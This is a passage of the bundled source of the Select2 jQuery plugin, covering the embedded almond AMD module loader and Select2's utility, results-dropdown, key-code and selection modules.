     * Given a relative module name, like ./something, normalize it to
     * a real name that can be mapped to a path.
     * @param {String} name the relative name
     * @param {String} baseName a real name that the name arg is relative
     * to.
     * @returns {String} normalized name
     */
    function normalize(name, baseName) {
        var nameParts, nameSegment, mapValue, foundMap, lastIndex,
            foundI, foundStarMap, starI, i, j, part, normalizedBaseParts,
            baseParts = baseName && baseName.split("/"),
            map = config.map,
            starMap = (map && map['*']) || {};

        //Adjust any relative paths.
        if (name) {
            name = name.split('/');
            lastIndex = name.length - 1;

            // If wanting node ID compatibility, strip .js from end
            // of IDs. Have to do this here, and not in nameToUrl
            // because node allows either .js or non .js to map
            // to same file.
            if (config.nodeIdCompat && jsSuffixRegExp.test(name[lastIndex])) {
                name[lastIndex] = name[lastIndex].replace(jsSuffixRegExp, '');
            }

            // Starts with a '.' so need the baseName
            if (name[0].charAt(0) === '.' && baseParts) {
                //Convert baseName to array, and lop off the last part,
                //so that . matches that 'directory' and not name of the baseName's
                //module. For instance, baseName of 'one/two/three', maps to
                //'one/two/three.js', but we want the directory, 'one/two' for
                //this normalization.
                normalizedBaseParts = baseParts.slice(0, baseParts.length - 1);
                name = normalizedBaseParts.concat(name);
            }

            //start trimDots
            for (i = 0; i < name.length; i++) {
                part = name[i];
                if (part === '.') {
                    name.splice(i, 1);
                    i -= 1;
                } else if (part === '..') {
                    // If at the start, or previous value is still ..,
                    // keep them so that when converted to a path it may
                    // still work when converted to a path, even though
                    // as an ID it is less than ideal. In larger point
                    // releases, may be better to just kick out an error.
                    if (i === 0 || (i === 1 && name[2] === '..') || name[i - 1] === '..') {
                        continue;
                    } else if (i > 0) {
                        name.splice(i - 1, 2);
                        i -= 2;
                    }
                }
            }
            //end trimDots

            name = name.join('/');
        }

        //Apply map config if available.
        if ((baseParts || starMap) && map) {
            nameParts = name.split('/');

            for (i = nameParts.length; i > 0; i -= 1) {
                nameSegment = nameParts.slice(0, i).join("/");

                if (baseParts) {
                    //Find the longest baseName segment match in the config.
                    //So, do joins on the biggest to smallest lengths of baseParts.
                    for (j = baseParts.length; j > 0; j -= 1) {
                        mapValue = map[baseParts.slice(0, j).join('/')];

                        //baseName segment has  config, find if it has one for
                        //this name.
                        if (mapValue) {
                            mapValue = mapValue[nameSegment];
                            if (mapValue) {
                                //Match, update name to the new value.
                                foundMap = mapValue;
                                foundI = i;
                                break;
                            }
                        }
                    }
                }

                if (foundMap) {
                    break;
                }

                //Check for a star map match, but just hold on to it,
                //if there is a shorter segment match later in a matching
                //config, then favor over this star map.
                if (!foundStarMap && starMap && starMap[nameSegment]) {
                    foundStarMap = starMap[nameSegment];
                    starI = i;
                }
            }

            if (!foundMap && foundStarMap) {
                foundMap = foundStarMap;
                foundI = starI;
            }

            if (foundMap) {
                nameParts.splice(0, foundI, foundMap);
                name = nameParts.join('/');
            }
        }

        return name;
    }

    function makeRequire(relName, forceSync) {
        return function () {
            //A version of a require function that passes a moduleName
            //value for items that may need to
            //look up paths relative to the moduleName
            var args = aps.call(arguments, 0);

            //If first arg is not require('string'), and there is only
            //one arg, it is the array form without a callback. Insert
            //a null so that the following concat is correct.
            if (typeof args[0] !== 'string' && args.length === 1) {
                args.push(null);
            }
            return req.apply(undef, args.concat([relName, forceSync]));
        };
    }

    function makeNormalize(relName) {
        return function (name) {
            return normalize(name, relName);
        };
    }

    function makeLoad(depName) {
        return function (value) {
            defined[depName] = value;
        };
    }

    function callDep(name) {
        if (hasProp(waiting, name)) {
            var args = waiting[name];
            delete waiting[name];
            defining[name] = true;
            main.apply(undef, args);
        }

        if (!hasProp(defined, name) && !hasProp(defining, name)) {
            throw new Error('No ' + name);
        }
        return defined[name];
    }

    //Turns a plugin!resource to [plugin, resource]
    //with the plugin being undefined if the name
    //did not have a plugin prefix.
    function splitPrefix(name) {
        var prefix,
            index = name ? name.indexOf('!') : -1;
        if (index > -1) {
            prefix = name.substring(0, index);
            name = name.substring(index + 1, name.length);
        }
        return [prefix, name];
    }

    //Creates a parts array for a relName where first part is plugin ID,
    //second part is resource ID. Assumes relName has already been normalized.
    function makeRelParts(relName) {
        return relName ? splitPrefix(relName) : [];
    }

    /**
     * Makes a name map, normalizing the name, and using a plugin
     * for normalization if necessary. Grabs a ref to plugin
     * too, as an optimization.
     */
    makeMap = function (name, relParts) {
        var plugin,
            parts = splitPrefix(name),
            prefix = parts[0],
            relResourceName = relParts[1];

        name = parts[1];

        if (prefix) {
            prefix = normalize(prefix, relResourceName);
            plugin = callDep(prefix);
        }

        //Normalize according
        if (prefix) {
            if (plugin && plugin.normalize) {
                name = plugin.normalize(name, makeNormalize(relResourceName));
            } else {
                name = normalize(name, relResourceName);
            }
        } else {
            name = normalize(name, relResourceName);
            parts = splitPrefix(name);
            prefix = parts[0];
            name = parts[1];
            if (prefix) {
                plugin = callDep(prefix);
            }
        }

        //Using ridiculous property names for space reasons
        return {
            f: prefix ? prefix + '!' + name : name, //fullName
            n: name,
            pr: prefix,
            p: plugin
        };
    };

    function makeConfig(name) {
        return function () {
            return (config && config.config && config.config[name]) || {};
        };
    }

    handlers = {
        require: function (name) {
            return makeRequire(name);
        },
        exports: function (name) {
            var e = defined[name];
            if (typeof e !== 'undefined') {
                return e;
            } else {
                return (defined[name] = {});
            }
        },
        module: function (name) {
            return {
                id: name,
                uri: '',
                exports: defined[name],
                config: makeConfig(name)
            };
        }
    };

    main = function (name, deps, callback, relName) {
        var cjsModule, depName, ret, map, i, relParts,
            args = [],
            callbackType = typeof callback,
            usingExports;

        //Use name if no relName
        relName = relName || name;
        relParts = makeRelParts(relName);

        //Call the callback to define the module, if necessary.
        if (callbackType === 'undefined' || callbackType === 'function') {
            //Pull out the defined dependencies and pass the ordered
            //values to the callback.
            //Default to [require, exports, module] if no deps
            deps = !deps.length && callback.length ? ['require', 'exports', 'module'] : deps;
            for (i = 0; i < deps.length; i += 1) {
                map = makeMap(deps[i], relParts);
                depName = map.f;

                //Fast path CommonJS standard dependencies.
                if (depName === "require") {
                    args[i] = handlers.require(name);
                } else if (depName === "exports") {
                    //CommonJS module spec 1.1
                    args[i] = handlers.exports(name);
                    usingExports = true;
                } else if (depName === "module") {
                    //CommonJS module spec 1.1
                    cjsModule = args[i] = handlers.module(name);
                } else if (hasProp(defined, depName) ||
                           hasProp(waiting, depName) ||
                           hasProp(defining, depName)) {
                    args[i] = callDep(depName);
                } else if (map.p) {
                    map.p.load(map.n, makeRequire(relName, true), makeLoad(depName), {});
                    args[i] = defined[depName];
                } else {
                    throw new Error(name + ' missing ' + depName);
                }
            }

            ret = callback ? callback.apply(defined[name], args) : undefined;

            if (name) {
                //If setting exports via "module" is in play,
                //favor that over return value and exports. After that,
                //favor a non-undefined return value over exports use.
                if (cjsModule && cjsModule.exports !== undef &&
                        cjsModule.exports !== defined[name]) {
                    defined[name] = cjsModule.exports;
                } else if (ret !== undef || !usingExports) {
                    //Use the return value from the function.
                    defined[name] = ret;
                }
            }
        } else if (name) {
            //May just be an object definition for the module. Only
            //worry about defining if have a module name.
            defined[name] = callback;
        }
    };

    requirejs = require = req = function (deps, callback, relName, forceSync, alt) {
        if (typeof deps === "string") {
            if (handlers[deps]) {
                //callback in this case is really relName
                return handlers[deps](callback);
            }
            //Just return the module wanted. In this scenario, the
            //deps arg is the module name, and second arg (if passed)
            //is just the relName.
            //Normalize module name, if it contains . or ..
            return callDep(makeMap(deps, makeRelParts(callback)).f);
        } else if (!deps.splice) {
            //deps is a config object, not an array.
            config = deps;
            if (config.deps) {
                req(config.deps, config.callback);
            }
            if (!callback) {
                return;
            }

            if (callback.splice) {
                //callback is an array, which means it is a dependency list.
                //Adjust args if there are dependencies
                deps = callback;
                callback = relName;
                relName = null;
            } else {
                deps = undef;
            }
        }

        //Support require(['a'])
        callback = callback || function () {};

        //If relName is a function, it is an errback handler,
        //so remove it.
        if (typeof relName === 'function') {
            relName = forceSync;
            forceSync = alt;
        }

        //Simulate async callback;
        if (forceSync) {
            main(undef, deps, callback, relName);
        } else {
            //Using a non-zero value because of concern for what old browsers
            //do, and latest browsers "upgrade" to 4 if lower value is used:
            //http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#dom-windowtimers-settimeout:
            //If want a value immediately, use require('id') instead -- something
            //that works in almond on the global level, but not guaranteed and
            //unlikely to work in other AMD implementations.
            setTimeout(function () {
                main(undef, deps, callback, relName);
            }, 4);
        }

        return req;
    };

    /**
     * Just drops the config on the floor, but returns req in case
     * the config return value is used.
     */
    req.config = function (cfg) {
        return req(cfg);
    };

    /**
     * Expose module registry for debugging and tooling
     */
    requirejs._defined = defined;

    define = function (name, deps, callback) {
        if (typeof name !== 'string') {
            throw new Error('See almond README: incorrect module build, no module name');
        }

        //This module may not have dependencies
        if (!deps.splice) {
            //deps is not an array, so probably means
            //an object literal or factory function for
            //the value. Adjust args.
            callback = deps;
            deps = [];
        }

        if (!hasProp(defined, name) && !hasProp(waiting, name)) {
            waiting[name] = [name, deps, callback];
        }
    };

    define.amd = {
        jQuery: true
    };
}());

S2.requirejs = requirejs;S2.require = require;S2.define = define;
}
}());
S2.define("almond", function(){});

/* global jQuery:false, $:false */
S2.define('jquery',[],function () {
  var _$ = jQuery || $;

  if (_$ == null && console && console.error) {
    console.error(
      'Select2: An instance of jQuery or a jQuery-compatible library was not ' +
      'found. Make sure that you are including jQuery before Select2 on your ' +
      'web page.'
    );
  }

  return _$;
});

S2.define('select2/utils',[
  'jquery'
], function ($) {
  var Utils = {};

  Utils.Extend = function (ChildClass, SuperClass) {
    var __hasProp = {}.hasOwnProperty;

    function BaseConstructor () {
      this.constructor = ChildClass;
    }

    for (var key in SuperClass) {
      if (__hasProp.call(SuperClass, key)) {
        ChildClass[key] = SuperClass[key];
      }
    }

    BaseConstructor.prototype = SuperClass.prototype;
    ChildClass.prototype = new BaseConstructor();
    ChildClass.__super__ = SuperClass.prototype;

    return ChildClass;
  };

  function getMethods (theClass) {
    var proto = theClass.prototype;

    var methods = [];

    for (var methodName in proto) {
      var m = proto[methodName];

      if (typeof m !== 'function') {
        continue;
      }

      if (methodName === 'constructor') {
        continue;
      }

      methods.push(methodName);
    }

    return methods;
  }

  Utils.Decorate = function (SuperClass, DecoratorClass) {
    var decoratedMethods = getMethods(DecoratorClass);
    var superMethods = getMethods(SuperClass);

    function DecoratedClass () {
      var unshift = Array.prototype.unshift;

      var argCount = DecoratorClass.prototype.constructor.length;

      var calledConstructor = SuperClass.prototype.constructor;

      if (argCount > 0) {
        unshift.call(arguments, SuperClass.prototype.constructor);

        calledConstructor = DecoratorClass.prototype.constructor;
      }

      calledConstructor.apply(this, arguments);
    }

    DecoratorClass.displayName = SuperClass.displayName;

    function ctr () {
      this.constructor = DecoratedClass;
    }

    DecoratedClass.prototype = new ctr();

    for (var m = 0; m < superMethods.length; m++) {
      var superMethod = superMethods[m];

      DecoratedClass.prototype[superMethod] =
        SuperClass.prototype[superMethod];
    }

    var calledMethod = function (methodName) {
      // Stub out the original method if it's not decorating an actual method
      var originalMethod = function () {};

      if (methodName in DecoratedClass.prototype) {
        originalMethod = DecoratedClass.prototype[methodName];
      }

      var decoratedMethod = DecoratorClass.prototype[methodName];

      return function () {
        var unshift = Array.prototype.unshift;

        unshift.call(arguments, originalMethod);

        return decoratedMethod.apply(this, arguments);
      };
    };

    for (var d = 0; d < decoratedMethods.length; d++) {
      var decoratedMethod = decoratedMethods[d];

      DecoratedClass.prototype[decoratedMethod] = calledMethod(decoratedMethod);
    }

    return DecoratedClass;
  };

  var Observable = function () {
    this.listeners = {};
  };

  Observable.prototype.on = function (event, callback) {
    this.listeners = this.listeners || {};

    if (event in this.listeners) {
      this.listeners[event].push(callback);
    } else {
      this.listeners[event] = [callback];
    }
  };

  Observable.prototype.trigger = function (event) {
    var slice = Array.prototype.slice;
    var params = slice.call(arguments, 1);

    this.listeners = this.listeners || {};

    // Params should always come in as an array
    if (params == null) {
      params = [];
    }

    // If there are no arguments to the event, use a temporary object
    if (params.length === 0) {
      params.push({});
    }

    // Set the `_type` of the first object to the event
    params[0]._type = event;

    if (event in this.listeners) {
      this.invoke(this.listeners[event], slice.call(arguments, 1));
    }

    if ('*' in this.listeners) {
      this.invoke(this.listeners['*'], arguments);
    }
  };

  Observable.prototype.invoke = function (listeners, params) {
    for (var i = 0, len = listeners.length; i < len; i++) {
      listeners[i].apply(this, params);
    }
  };

  Utils.Observable = Observable;

  Utils.generateChars = function (length) {
    var chars = '';

    for (var i = 0; i < length; i++) {
      var randomChar = Math.floor(Math.random() * 36);
      chars += randomChar.toString(36);
    }

    return chars;
  };

  Utils.bind = function (func, context) {
    return function () {
      func.apply(context, arguments);
    };
  };

  Utils._convertData = function (data) {
    for (var originalKey in data) {
      var keys = originalKey.split('-');

      var dataLevel = data;

      if (keys.length === 1) {
        continue;
      }

      for (var k = 0; k < keys.length; k++) {
        var key = keys[k];

        // Lowercase the first letter
        // By default, dash-separated becomes camelCase
        key = key.substring(0, 1).toLowerCase() + key.substring(1);

        if (!(key in dataLevel)) {
          dataLevel[key] = {};
        }

        if (k == keys.length - 1) {
          dataLevel[key] = data[originalKey];
        }

        dataLevel = dataLevel[key];
      }

      delete data[originalKey];
    }

    return data;
  };

  Utils.hasScroll = function (index, el) {
    // Adapted from the function created by @ShadowScripter
    // and adapted by @BillBarry on the Stack Exchange Code Review website.
    // The original code can be found at
    // http://codereview.stackexchange.com/q/13338
    // and was designed to be used with the Sizzle selector engine.

    var $el = $(el);
    var overflowX = el.style.overflowX;
    var overflowY = el.style.overflowY;

    //Check both x and y declarations
    if (overflowX === overflowY &&
        (overflowY === 'hidden' || overflowY === 'visible')) {
      return false;
    }

    if (overflowX === 'scroll' || overflowY === 'scroll') {
      return true;
    }

    return ($el.innerHeight() < el.scrollHeight ||
      $el.innerWidth() < el.scrollWidth);
  };

  Utils.escapeMarkup = function (markup) {
    var replaceMap = {
      '\\': '&#92;',
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      '\'': '&#39;',
      '/': '&#47;'
    };

    // Do not try to escape the markup if it's not a string
    if (typeof markup !== 'string') {
      return markup;
    }

    return String(markup).replace(/[&<>"'\/\\]/g, function (match) {
      return replaceMap[match];
    });
  };

  // Append an array of jQuery nodes to a given element.
  Utils.appendMany = function ($element, $nodes) {
    // jQuery 1.7.x does not support $.fn.append() with an array
    // Fall back to a jQuery object collection using $.fn.add()
    if ($.fn.jquery.substr(0, 3) === '1.7') {
      var $jqNodes = $();

      $.map($nodes, function (node) {
        $jqNodes = $jqNodes.add(node);
      });

      $nodes = $jqNodes;
    }

    $element.append($nodes);
  };

  // Cache objects in Utils.__cache instead of $.data (see #4346)
  Utils.__cache = {};

  var id = 0;
  Utils.GetUniqueElementId = function (element) {
    // Get a unique element Id. If element has no id, 
    // creates a new unique number, stores it in the id 
    // attribute and returns the new id. 
    // If an id already exists, it simply returns it.

    var select2Id = element.getAttribute('data-select2-id');
    if (select2Id == null) {
      // If element has id, use it.
      if (element.id) {
        select2Id = element.id;
        element.setAttribute('data-select2-id', select2Id);
      } else {
        element.setAttribute('data-select2-id', ++id);
        select2Id = id.toString();
      }
    }
    return select2Id;
  };

  Utils.StoreData = function (element, name, value) {
    // Stores an item in the cache for a specified element.
    // name is the cache key.    
    var id = Utils.GetUniqueElementId(element);
    if (!Utils.__cache[id]) {
      Utils.__cache[id] = {};
    }

    Utils.__cache[id][name] = value;
  };

  Utils.GetData = function (element, name) {
    // Retrieves a value from the cache by its key (name)
    // name is optional. If no name specified, return 
    // all cache items for the specified element.
    // and for a specified element.
    var id = Utils.GetUniqueElementId(element);
    if (name) {
      if (Utils.__cache[id]) {
        return Utils.__cache[id][name] != null ? 
	      Utils.__cache[id][name]:
	      $(element).data(name); // Fallback to HTML5 data attribs.
      }
      return $(element).data(name); // Fallback to HTML5 data attribs.
    } else {
      return Utils.__cache[id];			   
    }
  };

  Utils.RemoveData = function (element) {
    // Removes all cached items for a specified element.
    var id = Utils.GetUniqueElementId(element);
    if (Utils.__cache[id] != null) {
      delete Utils.__cache[id];
    }
  };

  return Utils;
});

S2.define('select2/results',[
  'jquery',
  './utils'
], function ($, Utils) {
  function Results ($element, options, dataAdapter) {
    this.$element = $element;
    this.data = dataAdapter;
    this.options = options;

    Results.__super__.constructor.call(this);
  }

  Utils.Extend(Results, Utils.Observable);

  Results.prototype.render = function () {
    var $results = $(
      '<ul class="select2-results__options" role="tree"></ul>'
    );

    if (this.options.get('multiple')) {
      $results.attr('aria-multiselectable', 'true');
    }

    this.$results = $results;

    return $results;
  };

  Results.prototype.clear = function () {
    this.$results.empty();
  };

  Results.prototype.displayMessage = function (params) {
    var escapeMarkup = this.options.get('escapeMarkup');

    this.clear();
    this.hideLoading();

    var $message = $(
      '<li role="treeitem" aria-live="assertive"' +
      ' class="select2-results__option"></li>'
    );

    var message = this.options.get('translations').get(params.message);

    $message.append(
      escapeMarkup(
        message(params.args)
      )
    );

    $message[0].className += ' select2-results__message';

    this.$results.append($message);
  };

  Results.prototype.hideMessages = function () {
    this.$results.find('.select2-results__message').remove();
  };

  Results.prototype.append = function (data) {
    this.hideLoading();

    var $options = [];

    if (data.results == null || data.results.length === 0) {
      if (this.$results.children().length === 0) {
        this.trigger('results:message', {
          message: 'noResults'
        });
      }

      return;
    }

    data.results = this.sort(data.results);

    for (var d = 0; d < data.results.length; d++) {
      var item = data.results[d];

      var $option = this.option(item);

      $options.push($option);
    }

    this.$results.append($options);
  };

  Results.prototype.position = function ($results, $dropdown) {
    var $resultsContainer = $dropdown.find('.select2-results');
    $resultsContainer.append($results);
  };

  Results.prototype.sort = function (data) {
    var sorter = this.options.get('sorter');

    return sorter(data);
  };

  Results.prototype.highlightFirstItem = function () {
    var $options = this.$results
      .find('.select2-results__option[aria-selected]');

    var $selected = $options.filter('[aria-selected=true]');

    // Check if there are any selected options
    if ($selected.length > 0) {
      // If there are selected options, highlight the first
      $selected.first().trigger('mouseenter');
    } else {
      // If there are no selected options, highlight the first option
      // in the dropdown
      $options.first().trigger('mouseenter');
    }

    this.ensureHighlightVisible();
  };

  Results.prototype.setClasses = function () {
    var self = this;

    this.data.current(function (selected) {
      var selectedIds = $.map(selected, function (s) {
        return s.id.toString();
      });

      var $options = self.$results
        .find('.select2-results__option[aria-selected]');

      $options.each(function () {
        var $option = $(this);

        var item = Utils.GetData(this, 'data');

        // id needs to be converted to a string when comparing
        var id = '' + item.id;

        if ((item.element != null && item.element.selected) ||
            (item.element == null && $.inArray(id, selectedIds) > -1)) {
          $option.attr('aria-selected', 'true');
        } else {
          $option.attr('aria-selected', 'false');
        }
      });

    });
  };

  Results.prototype.showLoading = function (params) {
    this.hideLoading();

    var loadingMore = this.options.get('translations').get('searching');

    var loading = {
      disabled: true,
      loading: true,
      text: loadingMore(params)
    };
    var $loading = this.option(loading);
    $loading.className += ' loading-results';

    this.$results.prepend($loading);
  };

  Results.prototype.hideLoading = function () {
    this.$results.find('.loading-results').remove();
  };

  Results.prototype.option = function (data) {
    var option = document.createElement('li');
    option.className = 'select2-results__option';

    var attrs = {
      'role': 'treeitem',
      'aria-selected': 'false'
    };

    if (data.disabled) {
      delete attrs['aria-selected'];
      attrs['aria-disabled'] = 'true';
    }

    if (data.id == null) {
      delete attrs['aria-selected'];
    }

    if (data._resultId != null) {
      option.id = data._resultId;
    }

    if (data.title) {
      option.title = data.title;
    }

    if (data.children) {
      attrs.role = 'group';
      attrs['aria-label'] = data.text;
      delete attrs['aria-selected'];
    }

    for (var attr in attrs) {
      var val = attrs[attr];

      option.setAttribute(attr, val);
    }

    if (data.children) {
      var $option = $(option);

      var label = document.createElement('strong');
      label.className = 'select2-results__group';

      var $label = $(label);
      this.template(data, label);

      var $children = [];

      for (var c = 0; c < data.children.length; c++) {
        var child = data.children[c];

        var $child = this.option(child);

        $children.push($child);
      }

      var $childrenContainer = $('<ul></ul>', {
        'class': 'select2-results__options select2-results__options--nested'
      });

      $childrenContainer.append($children);

      $option.append(label);
      $option.append($childrenContainer);
    } else {
      this.template(data, option);
    }

    Utils.StoreData(option, 'data', data);

    return option;
  };

  Results.prototype.bind = function (container, $container) {
    var self = this;

    var id = container.id + '-results';

    this.$results.attr('id', id);

    container.on('results:all', function (params) {
      self.clear();
      self.append(params.data);

      if (container.isOpen()) {
        self.setClasses();
        self.highlightFirstItem();
      }
    });

    container.on('results:append', function (params) {
      self.append(params.data);

      if (container.isOpen()) {
        self.setClasses();
      }
    });

    container.on('query', function (params) {
      self.hideMessages();
      self.showLoading(params);
    });

    container.on('select', function () {
      if (!container.isOpen()) {
        return;
      }

      self.setClasses();
      self.highlightFirstItem();
    });

    container.on('unselect', function () {
      if (!container.isOpen()) {
        return;
      }

      self.setClasses();
      self.highlightFirstItem();
    });

    container.on('open', function () {
      // When the dropdown is open, aria-expended="true"
      self.$results.attr('aria-expanded', 'true');
      self.$results.attr('aria-hidden', 'false');

      self.setClasses();
      self.ensureHighlightVisible();
    });

    container.on('close', function () {
      // When the dropdown is closed, aria-expended="false"
      self.$results.attr('aria-expanded', 'false');
      self.$results.attr('aria-hidden', 'true');
      self.$results.removeAttr('aria-activedescendant');
    });

    container.on('results:toggle', function () {
      var $highlighted = self.getHighlightedResults();

      if ($highlighted.length === 0) {
        return;
      }

      $highlighted.trigger('mouseup');
    });

    container.on('results:select', function () {
      var $highlighted = self.getHighlightedResults();

      if ($highlighted.length === 0) {
        return;
      }

      var data = Utils.GetData($highlighted[0], 'data');

      if ($highlighted.attr('aria-selected') == 'true') {
        self.trigger('close', {});
      } else {
        self.trigger('select', {
          data: data
        });
      }
    });

    container.on('results:previous', function () {
      var $highlighted = self.getHighlightedResults();

      var $options = self.$results.find('[aria-selected]');

      var currentIndex = $options.index($highlighted);

      // If we are already at te top, don't move further
      // If no options, currentIndex will be -1
      if (currentIndex <= 0) {
        return;
      }

      var nextIndex = currentIndex - 1;

      // If none are highlighted, highlight the first
      if ($highlighted.length === 0) {
        nextIndex = 0;
      }

      var $next = $options.eq(nextIndex);

      $next.trigger('mouseenter');

      var currentOffset = self.$results.offset().top;
      var nextTop = $next.offset().top;
      var nextOffset = self.$results.scrollTop() + (nextTop - currentOffset);

      if (nextIndex === 0) {
        self.$results.scrollTop(0);
      } else if (nextTop - currentOffset < 0) {
        self.$results.scrollTop(nextOffset);
      }
    });

    container.on('results:next', function () {
      var $highlighted = self.getHighlightedResults();

      var $options = self.$results.find('[aria-selected]');

      var currentIndex = $options.index($highlighted);

      var nextIndex = currentIndex + 1;

      // If we are at the last option, stay there
      if (nextIndex >= $options.length) {
        return;
      }

      var $next = $options.eq(nextIndex);

      $next.trigger('mouseenter');

      var currentOffset = self.$results.offset().top +
        self.$results.outerHeight(false);
      var nextBottom = $next.offset().top + $next.outerHeight(false);
      var nextOffset = self.$results.scrollTop() + nextBottom - currentOffset;

      if (nextIndex === 0) {
        self.$results.scrollTop(0);
      } else if (nextBottom > currentOffset) {
        self.$results.scrollTop(nextOffset);
      }
    });

    container.on('results:focus', function (params) {
      params.element.addClass('select2-results__option--highlighted');
    });

    container.on('results:message', function (params) {
      self.displayMessage(params);
    });

    if ($.fn.mousewheel) {
      this.$results.on('mousewheel', function (e) {
        var top = self.$results.scrollTop();

        var bottom = self.$results.get(0).scrollHeight - top + e.deltaY;

        var isAtTop = e.deltaY > 0 && top - e.deltaY <= 0;
        var isAtBottom = e.deltaY < 0 && bottom <= self.$results.height();

        if (isAtTop) {
          self.$results.scrollTop(0);

          e.preventDefault();
          e.stopPropagation();
        } else if (isAtBottom) {
          self.$results.scrollTop(
            self.$results.get(0).scrollHeight - self.$results.height()
          );

          e.preventDefault();
          e.stopPropagation();
        }
      });
    }

    this.$results.on('mouseup', '.select2-results__option[aria-selected]',
      function (evt) {
      var $this = $(this);

      var data = Utils.GetData(this, 'data');

      if ($this.attr('aria-selected') === 'true') {
        if (self.options.get('multiple')) {
          self.trigger('unselect', {
            originalEvent: evt,
            data: data
          });
        } else {
          self.trigger('close', {});
        }

        return;
      }

      self.trigger('select', {
        originalEvent: evt,
        data: data
      });
    });

    this.$results.on('mouseenter', '.select2-results__option[aria-selected]',
      function (evt) {
      var data = Utils.GetData(this, 'data');

      self.getHighlightedResults()
          .removeClass('select2-results__option--highlighted');

      self.trigger('results:focus', {
        data: data,
        element: $(this)
      });
    });
  };

  Results.prototype.getHighlightedResults = function () {
    var $highlighted = this.$results
    .find('.select2-results__option--highlighted');

    return $highlighted;
  };

  Results.prototype.destroy = function () {
    this.$results.remove();
  };

  Results.prototype.ensureHighlightVisible = function () {
    var $highlighted = this.getHighlightedResults();

    if ($highlighted.length === 0) {
      return;
    }

    var $options = this.$results.find('[aria-selected]');

    var currentIndex = $options.index($highlighted);

    var currentOffset = this.$results.offset().top;
    var nextTop = $highlighted.offset().top;
    var nextOffset = this.$results.scrollTop() + (nextTop - currentOffset);

    var offsetDelta = nextTop - currentOffset;
    nextOffset -= $highlighted.outerHeight(false) * 2;

    if (currentIndex <= 2) {
      this.$results.scrollTop(0);
    } else if (offsetDelta > this.$results.outerHeight() || offsetDelta < 0) {
      this.$results.scrollTop(nextOffset);
    }
  };

  Results.prototype.template = function (result, container) {
    var template = this.options.get('templateResult');
    var escapeMarkup = this.options.get('escapeMarkup');

    var content = template(result, container);

    if (content == null) {
      container.style.display = 'none';
    } else if (typeof content === 'string') {
      container.innerHTML = escapeMarkup(content);
    } else {
      $(container).append(content);
    }
  };

  return Results;
});

S2.define('select2/keys',[

], function () {
  var KEYS = {
    BACKSPACE: 8,
    TAB: 9,
    ENTER: 13,
    SHIFT: 16,
    CTRL: 17,
    ALT: 18,
    ESC: 27,
    SPACE: 32,
    PAGE_UP: 33,
    PAGE_DOWN: 34,
    END: 35,
    HOME: 36,
    LEFT: 37,
    UP: 38,
    RIGHT: 39,
    DOWN: 40,
    DELETE: 46
  };

  return KEYS;
});

S2.define('select2/selection/base',[
  'jquery',
  '../utils',
  '../keys'
], function ($, Utils, KEYS) {
  function BaseSelection ($element, options) {
    this.$element = $element;
    this.options = options;

    BaseSelection.__super__.constructor.call(this);
  }

  Utils.Extend(BaseSelection, Utils.Observable);

  BaseSelection.prototype.render = function () {
    var $selection = $(
      '<span class="select2-selection" role="combobox" ' +
      ' aria-haspopup="true" aria-expanded="false">' +
      '</span>'
    );

    this._tabindex = 0;

    if (Utils.GetData(this.$element[0], 'old-tabindex') != null) {
      this._tabindex = Utils.GetData(this.$element[0], 'old-tabindex');
    } else if (this.$element.attr('tabindex') != null) {
      this._tabindex = this.$element.attr('tabindex');
    }

    $selection.attr('title', this.$element.attr('title'));
    $selection.attr('tabindex', this._tabindex);

    this.$selection = $selection;

    return $selection;
  };

  BaseSelection.prototype.bind = function (container, $container) {
    var self = this;

    var id = container.id + '-container';
    var resultsId = container.id + '-results';

    this.container = container;

    this.$selection.on('focus', function (evt) {
      self.trigger('focus', evt);
    });

    this.$selection.on('blur', function (evt) {
      self._handleBlur(evt);
    });

    this.$selection.on('keydown', function (evt) {
      self.trigger('keypress', evt);

      if (evt.which === KEYS.SPACE) {
        evt.preventDefault();
      }
    });

    container.on('results:focus', function (params) {
      self.$selection.attr('aria-activedescendant', params.data._resultId);
    });

    container.on('selection:update', function (params) {
      self.update(params.data);
    });

    container.on('open', function () {
      // When the dropdown is open, aria-expanded="true"
      self.$selection.attr('aria-expanded', 'true');
      self.$selection.attr('aria-owns', resultsId);

      self._attachCloseHandler(container);
    });

    container.on('close', function () {
      // When the dropdown is closed, aria-expanded="false"
      self.$selection.attr('aria-expanded', 'false');
      self.$selection.removeAttr('aria-activedescendant');
      self.$selection.removeAttr('aria-owns');

      self.$selection.focus();
      window.setTimeout(function () {
        self.$selection.focus();
      }, 0);

      self._detachCloseHandler(container);
    });

    container.on('enable', function () {
      self.$selection.attr('tabindex', self._tabindex);
    });

    container.on('disable', function () {
      self.$selection.attr('tabindex', '-1');
    });
  };

  BaseSelection.prototype._handleBlur = function (evt) {
    var self = this;

    // This needs to be delayed as the active element is the body when the tab
    // key is pressed, possibly along with others.
    window.setTimeout(function () {
      // Don't trigger `blur` if the focus is still in the selection
      if (
        (document.activeElement == self.$selection[0]) ||
        ($.contains(self.$selection[0], document.activeElement))
      ) {
        return;
      }

      self.trigger('blur', evt);
    }, 1);
  };

  BaseSelection.prototype._attachCloseHandler = function (container) {
    var self = this;

    $(document.body).on('mousedown.select2.' + container.id, function (e) {
      var $target = $(e.target);

      var $select = $target.closest('.select2');

      var $all = $('.select2.select2-container--open');

      $all.each(function () {
        var $this = $(this);

        if (this == $select[0]) {
          return;
        }

        var $element = Utils.GetData(this, 'element');

        $element.select2('close');
      });
    });
  };

  BaseSelection.prototype._detachCloseHandler = function (container) {
    $(document.body).off('mousedown.select2.' + container.id);
  };

  BaseSelection.prototype.position = function ($selection, $container) {
    var $selectionContainer = $container.find('.selection');
    $selectionContainer.append($selection);
  };

  BaseSelection.prototype.destroy = function () {
    this._detachCloseHandler(this.container);
  };

  BaseSelection.prototype.update = function (data) {
    throw new Error('The `update` method must be defined in child classes.');
  };

  return BaseSelection;
});

S2.define('select2/selection/single',[
  'jquery',
  './base',
  '../utils',
  '../keys'
], function ($, BaseSelection, Utils, KEYS) {
  function SingleSelection () {
    SingleSelection.__super__.constructor.apply(this, arguments);
  }

  Utils.Extend(SingleSelection, BaseSelection);

  SingleSelection.prototype.render = function () {
    var $selection = SingleSelection.__super__.render.call(this);

    $selection.addClass('select2-selection--single');

    $selection.html(
      '<span class="select2-selection__rendered"></span>' +
      '<span class="select2-selection__arrow" role="presentation">' +
        '<b role="presentation"></b>' +
      '</span>'
    );

    return $selection;
  };

  SingleSelection.prototype.bind = function (container, $container) {
    var self = this;

    SingleSelection.__super__.bind.apply(this, arguments);

